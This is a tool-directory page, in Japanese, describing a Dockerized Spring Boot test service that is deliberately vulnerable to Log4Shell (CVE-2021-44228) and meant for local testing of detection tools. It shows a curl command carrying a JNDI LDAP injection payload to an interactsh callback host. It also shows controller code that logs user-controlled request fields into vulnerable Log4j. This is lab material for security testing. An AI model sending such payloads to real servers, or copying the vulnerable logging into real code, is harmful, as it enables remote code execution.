Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
Log4J-Log4Shell-CVE-2021-44228-Spring-Boot-Test-Service — ローカル環境で検出ツール、ペイロード、エクスプロイト機能をテストするために、意図的にLog4Shell(CVE-2021-44228)に対して脆弱なDocker化されたSpring Bootサービス。 | Kitploit
ツール/GitHubGitHub/zsolt-halo/log4j-log4shell-cve-2021-44228-spring-boot-test-service
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育ラボと実践
GitHubzsolt-halo/log4j-log4shell-cve-2021-44228-spring-boot-test-service

Log4J-Log4Shell-CVE-2021-44228-Spring-Boot-Test-Service

ローカル環境で検出ツール、ペイロード、エクスプロイト機能をテストするために、意図的にLog4Shell(CVE-2021-44228)に対して脆弱なDocker化されたSpring Bootサービス。

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見る
1324年前未レビュー

CVE-2021-44228 Spring Boot テストサービス

これは、実際の本番環境にヒットする前に、ローカルでツールやペイロード、検出機能をテストするための、汚いハック的なSpring Boot Hello Worldプロジェクトです。

設定されているLog4jのバージョンは2.13.0です。

Dockerイメージのビルド

root@kitploit:~
bash build.sh

Dockerイメージの実行

root@kitploit:~
docker run -p 8080:8080 dwdi/log4shell

CVE-2021-44228のテスト / トリガー

ガレージでBurp Collaboratorが動作していない場合は、こちらのサイトで同様の体験ができます: https://interactsh.com

root@kitploit:~
curl -s --max-time 20 localhost:8080 -H 'User-Agent: ${jndi:ldap://<some_custom_identifier>.<your_generated_subdomain>.interactsh.com/a}' > /dev/null

スキャナーツール

オプションとして、ローカル/大規模スキャンを行うためのこの素晴らしいリポジトリを使用できます: https://github.com/adilsoybali/Log4j-RCE-Scanner

トリガー箇所

この脆弱性は、ユーザーが制御する値を脆弱なログフレームワークに強制的にログ出力させることにすべてかかっています。これを念頭に置いて、このシンプルなダミーアプリケーションは、2つのHTTPメソッド(GET/PUT)と多数のインジェクション箇所をサポートしています:

root@kitploit:~
@GetMapping("/")
	public String index(HttpServletRequest request) {
		logger.info("Request URL: " + request.getRequestURL());
		logger.info("Request URI: " + request.getRequestURI());
		logger.info("Request Method: " + request.getMethod());
		logger.info("Request Query String: " + request.getQueryString());
		logger.info("Request Protocol: " + request.getProtocol());
		logger.info("Request Remote Address: " + request.getRemoteAddr());
		logger.info("Request Remote Host: " + request.getRemoteHost());
		logger.info("Request Remote Port: " + request.getRemotePort());
		logger.info("Request User Agent: " + request.getHeader("User-Agent"));
		return "Log4J2 is working!";
	}
root@kitploit:~
@PostMapping("/")
	public String post(HttpServletRequest request, @RequestBody String body) {
		logger.info("Request URL: " + request.getRequestURL());
		logger.info("Request URI: " + request.getRequestURI());
		logger.info("Request Method: " + request.getMethod());
		logger.info("Request Query String: " + request.getQueryString());
		logger.info("Request Protocol: " + request.getProtocol());
		logger.info("Request Remote Address: " + request.getRemoteAddr());
		logger.info("Request Remote Host: " + request.getRemoteHost());
		logger.info("Request Remote Port: " + request.getRemotePort());
		logger.info("Request User Agent: " + request.getHeader("User-Agent"));
		logger.info("Request Body: " + body); // 追加のリクエストボディに注意
		return "Log4J2 is working!";
	}

コントリビューション / 改善は歓迎します。

コードの品質についてはご容赦ください :) このプロジェクトは見せびらかすためではなく、共有・支援のためにあります。

ツールをダウンロード